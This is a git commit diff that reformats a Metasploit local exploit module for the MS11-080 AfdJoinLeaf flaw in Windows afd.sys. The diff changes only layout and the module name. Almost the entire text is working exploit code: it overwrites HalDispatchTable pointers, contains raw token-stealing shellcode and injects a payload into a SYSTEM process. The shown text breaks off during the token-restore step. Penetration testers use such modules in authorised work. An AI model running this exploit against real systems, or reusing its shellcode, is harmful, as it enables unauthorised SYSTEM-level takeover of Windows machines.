Code cleanup and make msftidy happy

bug/bundler_fix
sinn3r 2012-10-02 12:00:23 -05:00
parent 21e832ac1c
commit e36507fc05
1 changed files with 71 additions and 37 deletions

View File

@ -22,23 +22,23 @@ class Metasploit3 < Msf::Exploit::Local
def initialize(info={})
super(update_info(info, {
'Name' => 'AfdJoinLeaf Privilege Escalation',
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
'Description' => %q{
This module exploits a flaw in the AfdJoinLeaf function of the
afd.sys driver to overwrite data in kernel space. An address
within the HalDispatchTable is overwritten and when triggered
with a call to NtQueryIntervalProfile will execute shellcode.
This module will elevate itself to SYSTEM, then inject the payload
into another SYSTEM process before restoring it's own token to
avoid causing system instability.
},
'License' => MSF_LICENSE,
'Author' => [
'Matteo Memelli', # original exploit and all the hard work
'Spencer McIntyre' # MSF module
],
'Version' => '$Revision$',
'Author' =>
[
'Matteo Memelli', # original exploit and all the hard work
'Spencer McIntyre' # MSF module
],
'Arch' => [ ARCH_X86 ],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
@ -50,9 +50,9 @@ class Metasploit3 < Msf::Exploit::Local
[
[ 'Automatic', { } ],
[ 'Windows XP SP2 / SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
[ 'Windows XP SP2 / SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
'HalpSetSystemInformation' => 0x19436,
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Local
])
end
def find_sys_base(drvname)
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
@ -107,7 +107,7 @@ class Metasploit3 < Msf::Exploit::Local
end
end
end
# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
@ -134,7 +134,7 @@ class Metasploit3 < Msf::Exploit::Local
print_error("Running against 64-bit systems is not supported")
return
end
mytarget = target
if mytarget.name =~ /Automatic/
os = sysinfo["OS"]
@ -147,36 +147,48 @@ class Metasploit3 < Msf::Exploit::Local
if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
mytarget = targets[2]
end
if mytarget.name =~ /Automatic/
print_error("Could not identify the target system, it may not be supported")
return
end
print_status("Running against #{mytarget.name}")
end
if is_system?
print_error("This meterpreter session is already running as SYSTEM")
return
end
this_proc = session.sys.process.open
kernel_info = find_sys_base(nil)
base_addr = 0x1001
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
socket = result['return']
irpstuff = rand_text_alpha(8)
irpstuff << "\x00\x00\x00\x00"
irpstuff << rand_text_alpha(4)
irpstuff << "\x01\x00\x00\x00"
irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
irpstuff << rand_text_alpha(231)
if not this_proc.memory.writable?(0x1000)
session.railgun.add_function('ntdll', 'NtAllocateVirtualMemory', 'DWORD', [ ["DWORD", "ProcessHandle", "in"], ["PBLOB", "BaseAddress", "inout"], ["PDWORD", "ZeroBits", "in"], ["PBLOB", "RegionSize", "inout"], ["DWORD", "AllocationType", "in"], ["DWORD", "Protect", "in"] ])
session.railgun.add_function(
'ntdll',
'NtAllocateVirtualMemory',
'DWORD',
[
["DWORD", "ProcessHandle", "in"],
["PBLOB", "BaseAddress", "inout"],
["PDWORD", "ZeroBits", "in"],
["PBLOB", "RegionSize", "inout"],
["DWORD", "AllocationType", "in"],
["DWORD", "Protect", "in"]
])
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
end
if not this_proc.memory.writable?(0x1000)
@ -184,7 +196,7 @@ class Metasploit3 < Msf::Exploit::Local
return
end
this_proc.memory.write(0x1000, irpstuff)
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
hKernel = hKernel['return']
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
@ -192,26 +204,26 @@ class Metasploit3 < Msf::Exploit::Local
halDispatchTable -= hKernel
halDispatchTable += kernel_info[0]
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
halbase = find_sys_base("hal.dll")[0]
haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']
halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']
print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")
print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")
#### Exploitation ####
shellcode_address_dep = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding = make_nops(2)
halDispatchTable0x4 = halDispatchTable + 0x4
halDispatchTable0x8 = halDispatchTable + 0x8
restore_ptrs = "\x31\xc0"
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L")
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L")
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L")
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L")
tokenstealing = "\x52"
tokenstealing << "\x53"
tokenstealing << "\x33\xc0"
@ -230,7 +242,7 @@ class Metasploit3 < Msf::Exploit::Local
tokenstealing << "\x5b"
tokenstealing << "\x5a"
tokenstealing << "\xc2\x10"
restore_token = "\x52"
restore_token << "\x33\xc0"
restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
@ -239,38 +251,60 @@ class Metasploit3 < Msf::Exploit::Local
restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
restore_token << "\x5a"
restore_token << "\xc2\x10"
shellcode = padding + restore_ptrs + tokenstealing
this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)
this_proc.memory.protect(0x00020000)
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
if result['return'] != 0xffffffff
print_error("The socket is not in the correct state")
return
end
session.railgun.add_function('ntdll', 'NtDeviceIoControlFile', 'DWORD', [ [ "DWORD", "FileHandle", "in" ], [ "DWORD", "Event", "in" ], [ "DWORD", "ApcRoutine", "in" ], [ "DWORD", "ApcContext", "in" ], [ "PDWORD", "IoStatusBlock", "out" ], [ "DWORD", "IoControlCode", "in" ], [ "LPVOID", "InputBuffer", "in" ], [ "DWORD", "InputBufferLength", "in" ], [ "LPVOID", "OutputBuffer", "in" ], [ "DWORD", "OutPutBufferLength", "in" ] ])
session.railgun.add_function('ntdll', 'NtQueryIntervalProfile', 'DWORD', [ [ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ] ])
session.railgun.add_function(
'ntdll',
'NtDeviceIoControlFile',
'DWORD',
[
[ "DWORD", "FileHandle", "in" ],
[ "DWORD", "Event", "in" ],
[ "DWORD", "ApcRoutine", "in" ],
[ "DWORD", "ApcContext", "in" ],
[ "PDWORD", "IoStatusBlock", "out" ],
[ "DWORD", "IoControlCode", "in" ],
[ "LPVOID", "InputBuffer", "in" ],
[ "DWORD", "InputBufferLength", "in" ],
[ "LPVOID", "OutputBuffer", "in" ],
[ "DWORD", "OutPutBufferLength", "in" ]
])
session.railgun.add_function(
'ntdll',
'NtQueryIntervalProfile',
'DWORD',
[
[ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ]
])
print_status("Triggering AFDJoinLeaf pointer overwrite...")
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
if not is_system?
print_error("Exploit failed")
return
end
begin
proc = get_system_proc
print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))
print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
host_process.memory.write(mem, payload.encoded)
host_process.thread.create(mem, 0)
@ -278,7 +312,7 @@ class Metasploit3 < Msf::Exploit::Local
print_error("Failed to Inject Payload")
print_error(e.to_s)
end
# Restore the token because apparently BSODs are frowned upon
print_status("Restoring the original token...")
shellcode = padding + restore_ptrs + restore_token